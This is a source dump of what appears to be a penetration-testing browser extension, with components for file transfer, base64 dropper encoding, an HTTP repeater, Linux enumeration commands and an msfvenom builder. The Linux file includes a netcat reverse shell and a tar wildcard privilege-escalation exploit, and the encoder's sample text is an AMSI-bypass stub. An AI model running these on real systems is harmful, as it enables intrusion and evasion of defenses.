                    </Text>
                </Space>
            </div>
            <div style={{ padding: 15, marginTop: 15 }}>
                <Space direction='vertical'>
                    <Title level={3}>
                        FTP Uploads
                    </Title>
                    <Text>
                        Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                sudo python3 -m pyftpdlib --port 21 --write
                            </Text>
                        </pre>
                    </Text>
                    <Title level={4}>PowerShell Upload File</Title>
                    <Text>
                        <pre>
                            <Text copyable editable>
                                {powershellFTPUpload}
                            </Text>
                        </pre>
                    </Text>
                    <Text>
                        <pre>
                            <Text copyable>
                                {scriptUploadFTP}
                            </Text>
                        </pre>
                    </Text>
                </Space>
            </div>
        </div>
    );
}

================================================
FILE: src/components/file_transfer/ObfuscatedFiles.tsx
================================================
import React, { useState } from 'react';
import PersistedState from 'use-persisted-state';
import { Button, Input, Typography, message, Divider, Menu, Dropdown, Space } from 'antd';
import { CopyOutlined, createFromIconfontCN, ClearOutlined, DownOutlined, FileTextOutlined } from '@ant-design/icons';
import { ObfuscatedFile } from 'components/types/ObfuscatedFile';
import Clipboard from 'react-clipboard.js';

const { Title, Paragraph } = Typography;
const IconFont = createFromIconfontCN( {
    scriptUrl: [ './iconfont.js' ]
} );

const EchoBase64 = () => {
    const [ output, setOutput ] = useState( '' );
    const echoFileName = PersistedState<ObfuscatedFile>( 'echo_file_name' );
    const { TextArea } = Input;

    const [ values, setValues ] = echoFileName( {
        name: '',
        input: ''
    } );

    const successBase64Copy = () => {
        message.success( 'Your payload has been copied successfully !' );
    };

    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
        setValues( { ...values, [ name ]: event.target.value } );
    };

    const randomString = ( length = 10 ) => {
        const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        let result = '';
        if ( length > chars.length ) {
            return 'An error occurred';
        }
        for ( let i = 0; i < length; i++ ) {
            const randomNumber = Math.floor( Math.random() * chars.length );
            if ( randomNumber ) {
                result += chars[ randomNumber ];
            } else {
                return 'An error occurred';
            }
        }
        return result;
    };

    const handleClick = () => {
        try {
            if ( values.input.length === 0 ) {
                message.error( 'Please enter some text to encode' );
                return;
            }
            if ( encMode === 'Base64 - Bash' ) {
                const bash_b64 = btoa( values.input );
                setOutput( `echo -n '${ bash_b64 }' | base64 -d >  ${ values.name }` );
            }
            if ( encMode === 'Base64 - CMD' ) {
                const cmd_b64 = btoa( values.input );
                const cmd_random = randomString();
                setOutput( `echo|set /p="${ cmd_b64 }" >> ${ cmd_random } 
certutil -decode ${ cmd_random } ${ values.name }
del /Q ${ cmd_random }` );
            }
            if ( encMode === 'Base64 - Powershell' ) {
                const pwsh_b64 = btoa( values.input );
                const pwsh_random = randomString();
                setOutput( `${ "$" + pwsh_random } = @()
${ "$" + pwsh_random } +=
[System.Convert]::FromBase64String("${ pwsh_b64 }")
[Environment]::CurrentDirectory = (Get-Location -PSProvider FileSystem).ProviderPath
[System.IO.File]::WriteAllBytes("${ values.name }",  ${ "$" + pwsh_random })
Remove-Variable ${ pwsh_random }` );
            }
        }
        catch ( ex ) {
            message.error( 'Unable to encode properly please try again' );
        }
        return;

    }

    const [ encMode, setEncmode ] = useState( 'Base64 - Bash' );

    const handleEncModeList = ( type: { key: React.SetStateAction<string | any> } ) => {
        setEncmode( type.key.toString() );
    };

    const menu = (
        <Menu onClick={handleEncModeList}>
            <Menu.Item key='Base64 - Bash'>Base64 - Bash</Menu.Item>
            <Menu.Divider />
            <Menu.Item key='Base64 - CMD'>Base64 - CMD</Menu.Item>
            <Menu.Divider />
            <Menu.Item key='Base64 - Powershell'>Base64 - Powershell</Menu.Item>
        </Menu>
    );

    return (
        <div>
            <div style={{ margin: 15 }}>
                <Title level={2} style={{ fontWeight: 'bold' }}>
                    Obfuscated Files or Information
                </Title>
                <Paragraph>
                    Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
                </Paragraph>
            </div>
            <Divider dashed />
            <div
                key='a'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <TextArea
                    rows={6}
                    value={values.input}
                    onChange={handleChange( 'input' )}
                    placeholder='$wvlgi = @"
using System;
using System.Runtime.InteropServices;
public class wvlgi {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr tsarvf, uint flNewProtect, out uint lpflOldProtect);
}
"@
'
                />

                <Dropdown overlay={menu}>
                    <a className='ant-dropdown-link'>
                        {encMode} <DownOutlined style={{ padding: 10 }} />
                    </a>
                </Dropdown>
                <Space>
                    <Button
                        type='primary'
                        style={{ marginBottom: 10, marginTop: 15 }}
                        onClick={() => handleClick()}
                    >
                        <IconFont type='icon-lock' />
                        Encode
                    </Button>

                    <Input
                        prefix={<FileTextOutlined />}
                        onChange={handleChange( 'name' )}
                        placeholder="Output File Name"
                        bordered={false}
                        value={values.name}
                        style={{ marginTop: 6 }}
                    />
                </Space>
            </div>
            <div
                key='b'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <TextArea
                    rows={6}
                    value={output}
                    disabled={true}
                    onChange={handleChange( 'output' )}
                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}
                    placeholder='The results will appear here'
                />
                <Clipboard component='a' data-clipboard-text={output}>
                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successBase64Copy}>
                        <CopyOutlined /> Copy
                    </Button>
                </Clipboard>
                <Button
                    type='link'
                    danger
                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
                    onClick={() => setOutput( '' )}
                >
                    <ClearOutlined /> Clear
                </Button>
            </div>
        </div>
    );
};

export default EchoBase64;


================================================
FILE: src/components/http_utils/HTTP-Utils.tsx
================================================
import React, { useState } from 'react';
import {
    Button,
    Typography,
    Row,
    Col,
    Input,
    Select,
    Divider,
    Tag,
    message,
    Descriptions,
    Modal,
    Tabs,
    Alert
} from 'antd';
import { SendOutlined, FullscreenOutlined, ArrowsAltOutlined, DeleteOutlined } from '@ant-design/icons';
import { vs2015 } from 'react-syntax-highlighter/dist/esm/styles/hljs';
import axios, { Method } from 'axios';
import PersistedState from 'use-persisted-state';
import SyntaxHighlighter from 'react-syntax-highlighter';
import pretty from 'pretty';

const { Title, Paragraph } = Typography;
const { TabPane } = Tabs;
const { TextArea } = Input;
const { Option } = Select;

export default function LinuxCommands () {
    const http_url = PersistedState<IHTTP_UtilsProps>( 'http_url_repeater' );
    const [ isModalVisible, setIsModalVisible ] = useState( false );

    const windowMode = () => {
        const width = 1100;
        const height = 800;

        chrome.windows.create( {
            url: chrome.runtime.getURL( 'index.html' ),
            width: width,
            height: height,
            type: 'popup'
        } );
    };
    const target = window.location.href;
    const showModal = () => {
        setIsModalVisible( true );
    };
    const handleClose = () => {
        setIsModalVisible( false );
    };

    interface IHTTP_UtilsProps {
        url: string;
        protocol: string;
        type: string;
    }

    const [ values, setValues ] = http_url( {
        url: '',
        protocol: 'http://',
        type: 'GET'
    } );
    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
        setValues( { ...values, [ name ]: event.target.value } );
    };
    const handleChangeSelect = ( name: string ) => ( event: string ) => {
        setValues( { ...values, [ name ]: event } );
    };

    interface ContentProps {
        status: string | number;
        statusText: string;
        headers: {
            [ key: string ]: string;
        };
        data: string;
    }
    // Axios fetch
    const key = 'updatable';
    const [ content, setContent ] = useState<ContentProps>();
    const [ headerContent, setHeaderContent ] = useState( [] );
    const [ commentResponse, setCommentResponse ] = useState( [] );
    const [ inputResponse, setInputResponse ] = useState( [] );
    const [ _, setLoading ] = useState<Boolean>();
    const handleDelete = () => {
        setContent( undefined );
        setHeaderContent( [] );
        setCommentResponse( [] );
        setInputResponse( [] );
        values.url = '';
    };

    const fetchData = async () => {
        message.loading( { content: 'Loading...', key } );
        await axios( {
            method: values.type as Method,
            url: values.protocol + values.url.replace( /https?:\/\//, '' ),
            headers: {}
        } )
            .then( ( res: React.ComponentState ) => {
                setLoading( false ); // Set the loading to false
                setContent( res ); // Axios response
                message.success( { content: 'Loaded!', key } );
                setHeaderContent( res.headers[ 'content-type' ] ); // Header content
                console.log( res );
                const commentOnlyRegex = res.data.match(
                    RegExp( /(\/\*[\w\'\s\r\n\*]*\*\/)|(\/\/[\w\s\']*)|(\<![\-\-\s\w\>\/]*\>)/, 'g' )
                );
                if ( commentOnlyRegex != null ) setCommentResponse( commentOnlyRegex );
                const inputOnlyRegex = res.data.match( RegExp( /<form(.*?)<\/form>/, 'g' ) );
                if ( inputOnlyRegex != null ) setInputResponse( inputOnlyRegex );
            } )
            .catch( ( err ) => {
                console.log( err );
                message.error( { content: err.message, key } );
            } );
    };

    return (
        <div>
            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>
                HTTP Repeater
            </Title>
            <Paragraph style={{ marginLeft: 15 }}>
                HTTP Repeater is a simple tool for manually manipulating and reissuing individual HTTP and WebSocket
                messages, and analyzing the application's responses. You can use Repeater for all kinds of purposes,
                such as changing parameter values to test for input-based vulnerabilities, issuing requests in a
                specific sequence to test for logic flaws.
            </Paragraph>
            <Divider dashed />
            <Row gutter={[ 16, 16 ]} style={{ padding: 15 }}>
                <Col>
                    <Select
                        defaultValue='GET'
                        style={{ width: '100%' }}
                        value={values.type}
                        placeholder='GET'
                        onChange={handleChangeSelect( 'type' )}
                    >
                        <Option value='GET'>GET</Option>
                        <Option value='POST'>POST</Option>
                        <Option value='HEAD'>HEAD</Option>
                        <Option value='PUT'>PUT</Option>
                        <Option value='DELETE'>DELETE</Option>
                        <Option value='OPTIONS'>OPTIONS</Option>
                        <Option value='PATCH'>PATCH</Option>
                    </Select>
                </Col>
                <Col>
                    <Select
                        defaultValue='http://'
                        style={{ width: '100%' }}
                        value={values.protocol}
                        placeholder='http://'
                        onChange={handleChangeSelect( 'protocol' )}
                    >
                        <Option value='http://'>HTTP</Option>
                        <Option value='https://'>HTTPS</Option>
                    </Select>
                </Col>
                <Col span={9}>
                    <Input
                        style={{ borderColor: '#434343' }}
                        onChange={handleChange( 'url' )}
                        onSubmit={() => fetchData()}
                        allowClear
                        value={values.url.replace( /https?:\/\//, '' )}
                        placeholder='http://10.10.14.15:1337/home?a=1 OR example.com'
                    />
                </Col>
                <Col>
                    <Button type='primary' onClick={() => fetchData()} icon={<SendOutlined />}>
                        Send
                    </Button>
                </Col>
                <Col>
                    <Button type='link' danger icon={<DeleteOutlined />} onClick={() => handleDelete()} />
                </Col>
            </Row>
            {content != undefined ? (
                <div style={{ padding: 15 }}>
                    <Descriptions title='Request info' style={{ marginBottom: 15 }}>
                        <Descriptions.Item label='Status code'>
                            <Tag color='success'>
                                {content.status} {content.statusText}
                            </Tag>
                        </Descriptions.Item>
                        <Descriptions.Item label='Server'>
                            <Tag color='processing'>{content.headers.server || 'Undefined'}</Tag>
                        </Descriptions.Item>
                        <Descriptions.Item label='Content-Type'>
                            <Tag color='geekblue'>{headerContent}</Tag>
                        </Descriptions.Item>
                        <Descriptions.Item label='URL'>
                            <a href={values.protocol + values.url} target='_blank'>
                                {values.protocol + values.url}
                            </a>
                        </Descriptions.Item>
                    </Descriptions>
                    <Row gutter={[ 16, 16 ]} style={{ marginBottom: 15 }}>
                        <Col span={12}>
                            <TextArea
                                autoSize={{ minRows: 5 }}
                                disabled
                                value={JSON.stringify( content.headers, undefined, 2 )}
                                rows={4}
                            />
                        </Col>
                        <Col span={12}>
                            <TextArea
                                autoSize={{ minRows: 5 }}
                                value={JSON.stringify( content.headers, undefined, 2 )}
                                rows={4}
                            />
                        </Col>
                    </Row>
                    <Tabs defaultActiveKey='1'>
                        <TabPane tab='HTML Response' key='1'>
                            <Row justify='end' style={{ marginTop: 5 }}>
                                <Col>
                                    <Button type='link' onClick={showModal}>
                                        Render the HTML
                                    </Button>
                                </Col>
                            </Row>
                            <Modal
                                title='HTML Response'
                                onCancel={handleClose}
                                visible={isModalVisible}
                                onOk={handleClose}
                                width={650}
                            >
                                <div dangerouslySetInnerHTML={{ __html: content.data || '' }} />
                            </Modal>
                            <SyntaxHighlighter language='htmlbars' style={vs2015} showLineNumbers={true}>
                                {/* {pretty( content.data ) || <pre>No response</pre>} */}
                            </SyntaxHighlighter>
                        </TabPane>
                        {!commentResponse && (
                            <TabPane tab='Comment Only' key='2'>
                                {commentResponse.map(
                                    (
                                        matches:
                                            | string
                                            | number
                                            | boolean
                                            | {}
                                            | React.ReactElement<any, string | React.JSXElementConstructor<any>>
                                            | React.ReactPortal
                                            | null
                                            | undefined
                                    ) => {
                                        return (
                                            <SyntaxHighlighter language='htmlbars' style={vs2015}>
                                                {/* aa{matches}; */}
                                            </SyntaxHighlighter>
                                        );
                                    }
                                )}
                            </TabPane>
                        )}
                        {!inputResponse && (
                            <TabPane tab='Form / Input Only' key='3'>
                                {inputResponse.map( ( matches: string ) => {
                                    return (
                                        <SyntaxHighlighter language='htmlbars' style={vs2015} showLineNumbers={true}>
                                            {pretty( matches )};
                                        </SyntaxHighlighter>
                                    );
                                } )}
                            </TabPane>
                        )}
                    </Tabs>
                </div>
            ) : (
                <div style={{ padding: 15 }}>
                    <Alert
                        message='Informational Notes'
                        description='We recommend our users to use this feature in Fullscreen mode or Pop-up mode.'
                        type='info'
                        showIcon
                    />
                    <Button
                        icon={<FullscreenOutlined style={{ marginRight: 5 }} />}
                        style={{ marginTop: 15 }}
                        type='link'
                        danger
                    >
                        <a href={target} style={{ color: '#a61d24' }} rel='noreferrer noopener' target='_blank'>
                            Fullscreen mode
                        </a>
                    </Button>
                    <Button
                        icon={<ArrowsAltOutlined style={{ marginTop: 5 }} />}
                        onClick={() => windowMode()}
                        type='link'
                    >
                        Pop-up mode
                    </Button>
                </div>
            )}
        </div>
    );
}


================================================
FILE: src/components/linux/LinuxCommands.tsx
================================================
import React from 'react';
import { Typography, Divider, Button, Collapse } from 'antd';
import { ArrowsAltOutlined } from '@ant-design/icons';

const { Title, Paragraph, Text } = Typography;
const { Panel } = Collapse;

export default function LinuxCommands () {
    const Suid = [
        { title: 'find / -user root -perm /4000 2>/dev/null' },
        { title: 'find / -perm -u=s -type f 2>/dev/null' },
        { title: "find / -type f -name '*.txt' 2>/dev/null" },
        { title: 'find / -user root -perm -4000 -exec ls -ldb {} \; > /tmp/suid' },
        { title: 'getcap -r / 2>/dev/null' }
    ];
    const VersionSystem = [
        { title: 'cat /etc/issue' },
        { title: 'cat /etc/*-release' },
        { title: 'cat /etc/lsb-release' },
        { title: 'cat /etc/redhat-release' }
    ];
    const KernelVersion = [
        { title: 'cat /proc/version' },
        { title: 'uname -a' },
        { title: 'uname -mrs' },
        { title: 'rpm -q kernel' },
        { title: 'dmesg | grep Linux' },
        { title: 'ls /boot | grep vmlinuz' }
    ];
    const EnvironmentVariables = [
        { title: 'cat /etc/profile' },
        { title: 'cat /etc/bashrc' },
        { title: 'cat ~/.bash_profile' },
        { title: 'cat ~/.bashrc' },
        { title: 'cat ~/.bash_logout' },
        { title: 'env' },
        { title: 'set' }
    ];
    const ServiceSettings = [
        { title: 'cat /etc/syslog.conf' },
        { title: 'cat /etc/chttp.conf' },
        { title: 'cat /etc/lighttpd.conf' },
        { title: 'cat /etc/cups/cupsd.conf' },
        { title: 'cat /etc/inetd.conf' },
        { title: 'cat /etc/apache2/apache2.conf' },
        { title: 'cat /etc/my.conf' },
        { title: 'cat /etc/httpd/conf/httpd.conf' },
        { title: 'cat /opt/lampp/etc/httpd.conf' },
        { title: "ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'" }
    ];
    const CronJobs = [
        { title: 'crontab -l' },
        { title: 'ls -alh /var/spool/cron' },
        { title: 'ls -al /etc/ | grep cron' },
        { title: 'ls -al /etc/cron*' },
        { title: 'cat /etc/cron*' },
        { title: 'cat /etc/at.allow' },
        { title: 'cat /etc/at.deny' },
        { title: 'cat /etc/cron.allow' },
        { title: 'cat /etc/cron.deny' },
        { title: 'cat /etc/crontab' },
        { title: 'cat /etc/anacrontab' },
        { title: 'cat /var/spool/cron/crontabs/root' }
    ];
    const UsersHost = [
        { title: 'lsof -i' },
        { title: 'lsof -i :80' },
        { title: 'grep 80 /etc/services' },
        { title: 'netstat -antup' },
        { title: 'netstat -antpx' },
        { title: 'netstat -tulpn' },
        { title: 'chkconfig --list' },
        { title: 'chkconfig --list | grep 3:on' },
        { title: 'last' },
        { title: 'lastlog' }
    ];
    const PortForwarding = [
        {
            title: 'FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]'
        },
        { title: 'FPipe.exe -l 80 -r 80 -s 80 192.168.1.7' },
        {
            title: 'ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]'
        },
        { title: 'ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port' },
        { title: 'ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port' },
        {
            title: 'mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe'
        },
        {
            title: 'mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay'
        },
        {
            title:
                'mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)'
        },
        { title: 'backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc' },
        {
            title: 'localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)'
        }
    ];
    const wildcardPrivesc = [
        {
            title: `echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip> 1234 >/tmp/f" > shell.sh`
        },
        {
            title: `touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"`
        },
        {
            title: `touch "/var/www/html/--checkpoint=1"`
        }
    ];
    return (
        <div style={{ margin: 15 }}>
            <Title level={2} style={{ fontWeight: 'bold' }}>
                Useful Linux command for your Penetration Testing
            </Title>
            <Paragraph>List of useful commands on Linux</Paragraph>
            <Divider orientation='center' style={{ padding: 5 }}>Script to check every misconfigurations</Divider>
            <Collapse defaultActiveKey={[ '0' ]}>
                <Panel header='View the souce code' key='1'>
                    <img
                        alt='misconfigcode'
                        src='https://i.imgur.com/07ft3W4.png'
                        style={{ height: '100%', width: '100%' }}
                    />
                    <br />
                    <Button href="https://gist.githubusercontent.com/LasCC/6f3838dc02f46b14e9dbc9bc0972407e/raw/8c29317645df2e1d39777e95df8cf7760458d4d0/misconfiguration.sh" target='blank' type='primary' style={{ marginBottom: 10, marginTop: 15 }}>
                        <ArrowsAltOutlined style={{ marginRight: 5 }} />
                        Download the script
                    </Button>
                </Panel>
            </Collapse>
            <Divider orientation='center' style={{ padding: 5 }}>SUID Commands</Divider>
            <div>
                {Suid.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
            <Divider orientation='center' style={{ padding: 5 }}>What version of the system ?</Divider>
            <div>
                {VersionSystem.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
            <Divider orientation='center' style={{ padding: 5 }}>What is its kernel version ?</Divider>
            <div>
                {KernelVersion.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
            <Divider orientation='center' style={{ padding: 5 }}>What is the environment variables ?</Divider>
            <div>
                {EnvironmentVariables.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
            <Divider orientation='center' style={{ padding: 5 }}>Service settings, there is any wrong allocation?</Divider>
            <div>
                {ServiceSettings.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
            <Divider orientation='center' style={{ padding: 5 }}>Is there any cron jobs ?</Divider>
            <div>
                {CronJobs.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
            <Divider orientation='center' style={{ padding: 5 }}>Other users host communication with the system ?</Divider>
            <div>
                {UsersHost.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
            <Divider orientation='center' style={{ padding: 5 }}>How to port forward ?</Divider>
            <div>
                {PortForwarding.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
            <Divider orientation='center' style={{ padding: 5 }}>TAR wildcard cronjob privilege escalation</Divider>
            <div>
                {wildcardPrivesc.map( ( k, i ) => {
                    return (
                        <Paragraph key={i}>
                            <pre><Text copyable>{k.title}</Text></pre>
                        </Paragraph>
                    );
                } )}
            </div>
        </div>
    );
}


================================================
FILE: src/components/linux/MSFBuilder.tsx
================================================
import React from 'react';
import { Input, Typography, Row, Divider, Select, Form, Col, Collapse } from 'antd';
import PersistedState from 'use-persisted-state';
import { MSFBuilder } from 'components/types/MSFBuilder';

const { Title, Paragraph } = Typography;

const MSFBuilder = () => {
    // LocalStorage stuff
    const msfVenomBuilder = PersistedState<MSFBuilder>( 'msfVenomBuilder' );

    // Antd stuff
    const { Option } = Select;
    const { Panel } = Collapse;
    const { Text } = Typography;

    let payloads = require( '../../assets/data/Payloads.json' );
    let encoder = require( '../../assets/data/Encoder.json' );
    let platform = require( '../../assets/data/Platform.json' );
    let format = require( '../../assets/data/Format.json' );

    const [ values, setValues ] = msfVenomBuilder( {
        Payload: 'windows/meterpreter/bind_tcp',
        LHOST: '10.10.13.37',
        LPORT: '4444',
        Encoder: 'generic/none',
        EncoderIterations: '4',
        Platform: 'windows',
        Arch: 'x64',
        NOP: '200',
        BadCharacters: "badchars",
        Format: 'exe',
        Outfile: 'reverse_shell.exe'
    } );

    const { LHOST, LPORT, Platform, Arch, NOP, Encoder,
        EncoderIterations, BadCharacters, Format, Outfile } = values;

    const launchCommand = `msfconsole -qx "use exploit/multi/handler; set PAYLOAD ${ values.Payload }; set LHOST ${ values.LHOST }; set LPORT ${ values.LPORT }; run"`;

    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
        setValues( { ...values, [ name ]: event.target.value } );
    };

    const handleChangeSelect = ( prop: string ) => ( data: any ) => {
        setValues( { ...values, [ prop ]: data } );
    };

    const generateCommand = ( values ) => {
        const options = [
            LHOST && `LHOST=${ LHOST }`,
            LPORT && `LPORT=${ LPORT }`,
            Platform && `--platform ${ Platform }`,
            Arch && `-a ${ Arch }`,
            NOP && `-n ${ NOP }`,
            Encoder && `-e ${ Encoder }`,
            EncoderIterations && `-i ${ EncoderIterations }`,
            BadCharacters && `-b "${ BadCharacters }"`,
            Format && `-f ${ Format }`,
            Outfile && `-o ${ Outfile }`
        ].filter( Boolean );

        if ( !values.Payload ) {
            return '';
        }

        const command = `msfvenom -p ${ values.Payload } ${ options.join( ' ' ) }`;
        return command;
    }

    return (
        <div>
            <div style={{ margin: 15 }}>
                <Title level={2} style={{ fontWeight: 'bold' }}>
                    MSF Venom Builder
                </Title>
                <Paragraph>
                    Msfvenom is a command line instance of Metasploit that is used to generate and output all of the
                    various types of shell code that are available in Metasploit.
                </Paragraph>
            </div>
            <Divider dashed />
            <div
                key='a'
                style={{
                    marginTop: 15,
                    marginLeft: 15
                }}
            >
                <Form>
                    <Form.Item name='payload' valuePropName={values.Payload} required label='Payload'>
                        <Select
                            showSearch
                            options={payloads}
                            value={values.Payload}
                            allowClear
                            onChange={handleChangeSelect( 'Payload' )}
                            placeholder='python/meterpreter/reverse_http'
                            filterOption={( inputValue, option ) =>
                                option.value.toString().toUpperCase().indexOf( inputValue.toUpperCase() ) !== -1
                            }
                        >
                            {payloads.map(
                                (
                                    data: {
                                        value:
                                        | boolean
                                        | React.ReactFragment
                                        | React.ReactPortal
                                        | null
                                        | undefined;
                                    },
                                    key: string | number
                                ) => {
                                    return <Option value={key}>{data.value}</Option>;
                                }
                            )}
                        </Select>
                    </Form.Item>
                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>
                        <Col span={12}>
                            <Form.Item required name='ip_address' valuePropName={values.LHOST} label='LHOST'>
                                <Input
                                    value={values.LHOST}
                                    onChange={handleChange( 'LHOST' )}
                                    maxLength={15}
                                    allowClear
                                    placeholder='IP Address or domain (ex: 212.212.111.222)'
                                />
                            </Form.Item>
                        </Col>
                        <Col span={12}>
                            <Form.Item required name='port' valuePropName={values.LPORT} label='LPORT'>
                                <Input
                                    value={values.LPORT}
                                    onChange={handleChange( 'LPORT' )}
                                    maxLength={5}
                                    allowClear
                                    placeholder='Port (ex: 1337)'
                                />
                            </Form.Item>
                        </Col>
                    </Row>
                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>
                        <Col span={12}>
                            <Form.Item name='encoder' valuePropName={values.Encoder} label='Encoder'>
                                <Select
                                    showSearch
                                    options={encoder}
                                    value={values.Encoder}
                                    onChange={handleChangeSelect( 'Encoder' )}
                                    placeholder='x86/shikata_ga_nai'
                                    allowClear
                                    filterOption={( inputValue, option: any ) =>
                                        option.value.toUpperCase().indexOf( inputValue.toUpperCase() ) !== -1}
                                >
                                    {encoder.map(
                                        (
                                            data: {
                                                value:
                                                | boolean
                                                | React.ReactFragment
                                                | React.ReactPortal
                                                | null
                                                | undefined;
                                            },
                                            key: string | number
                                        ) => {
                                            return <Option value={key}>{data.value}</Option>;
                                        }
                                    )}
                                </Select>
                            </Form.Item>
                        </Col>
                        <Col span={12}>
                            <Form.Item name='iteration' valuePropName={values.EncoderIterations} label='Iterations'>
                                <Input
                                    value={values.EncoderIterations}
                                    onChange={handleChange( 'EncoderIterations' )}
                                    placeholder='4'
                                    allowClear
                                />
                            </Form.Item>
                        </Col>
                    </Row>
                    <Form.Item name='badchar' valuePropName={values.BadCharacters} label='Bad Characters'>
                        <Input
                            value={values.BadCharacters}
                            onChange={handleChange( 'BadCharacters' )}
        
Download .txt
gitextract_xj8a5qaj/

├── .babelrc
├── .gitignore
├── README.md
├── package.json
├── src/
│   ├── App.tsx
│   ├── assets/
│   │   ├── css/
│   │   │   └── style.css
│   │   ├── data/
│   │   │   ├── Encoder.json
│   │   │   ├── Format.json
│   │   │   ├── Payloads.json
│   │   │   ├── Platform.json
│   │   │   └── RevShell.json
│   │   └── img/
│   │       └── icons/
│   │           └── iconfont.js
│   ├── components/
│   │   ├── AboutUs.tsx
│   │   ├── LayoutApp.tsx
│   │   ├── encoding/
│   │   │   ├── DataEncoding.tsx
│   │   │   ├── Hashing.tsx
│   │   │   ├── HexEncode.tsx
│   │   │   └── URLEncode.tsx
│   │   ├── file_transfer/
│   │   │   ├── File_transfer.tsx
│   │   │   └── ObfuscatedFiles.tsx
│   │   ├── http_utils/
│   │   │   └── HTTP-Utils.tsx
│   │   ├── linux/
│   │   │   ├── LinuxCommands.tsx
│   │   │   ├── MSFBuilder.tsx
│   │   │   ├── PowershellCommands.tsx
│   │   │   ├── ReverseShell.tsx
│   │   │   └── TtySpawnShell.tsx
│   │   ├── notepad/
│   │   │   └── Notepad.tsx
│   │   ├── rss/
│   │   │   ├── BugsCX.tsx
│   │   │   ├── CVESearch.tsx
│   │   │   ├── Cisco.tsx
│   │   │   ├── CxsecurityChoose.tsx
│   │   │   ├── DorksCX.tsx
│   │   │   ├── ExploitCX.tsx
│   │   │   ├── ExploitDB.tsx
│   │   │   └── FeedRSS.tsx
│   │   ├── types/
│   │   │   ├── EchoFileName.ts
│   │   │   ├── Ipv4TcpCacheState.ts
│   │   │   ├── MSFBuilder.ts
│   │   │   └── ObfuscatedFile.ts
│   │   └── web/
│   │       ├── LFI.tsx
│   │       ├── PhpReverseShell.tsx
│   │       ├── SqlInjection.tsx
│   │       └── XSS.tsx
│   ├── devtools/
│   │   ├── devtools.html
│   │   └── devtools.js
│   ├── index.html
│   └── manifest.json
├── tsconfig.json
└── webpack.config.js
Download .txt
SYMBOL INDEX (32 symbols across 27 files)

FILE: src/assets/img/icons/iconfont.js
  function s (line 1) | function s(){o||(o=!0,h())}
  function m (line 1) | function m(){try{a.documentElement.doScroll("left")}catch(t){return void...

FILE: src/components/AboutUs.tsx
  function AboutUs (line 6) | function AboutUs () {

FILE: src/components/LayoutApp.tsx
  function LayoutApp (line 30) | function LayoutApp ( props: {

FILE: src/components/encoding/DataEncoding.tsx
  function toHex (line 12) | function toHex ( str: string ) {
  function hex2a (line 23) | function hex2a ( hex: string ) {

FILE: src/components/encoding/HexEncode.tsx
  function toHex (line 11) | function toHex ( str: string ): string {
  function hex2a (line 23) | function hex2a ( hex: string ): string {

FILE: src/components/file_transfer/File_transfer.tsx
  function FileTransfer (line 14) | function FileTransfer () {

FILE: src/components/http_utils/HTTP-Utils.tsx
  function LinuxCommands (line 29) | function LinuxCommands () {

FILE: src/components/linux/LinuxCommands.tsx
  function LinuxCommands (line 8) | function LinuxCommands () {

FILE: src/components/linux/PowershellCommands.tsx
  function PowershellCommands (line 10) | function PowershellCommands () {

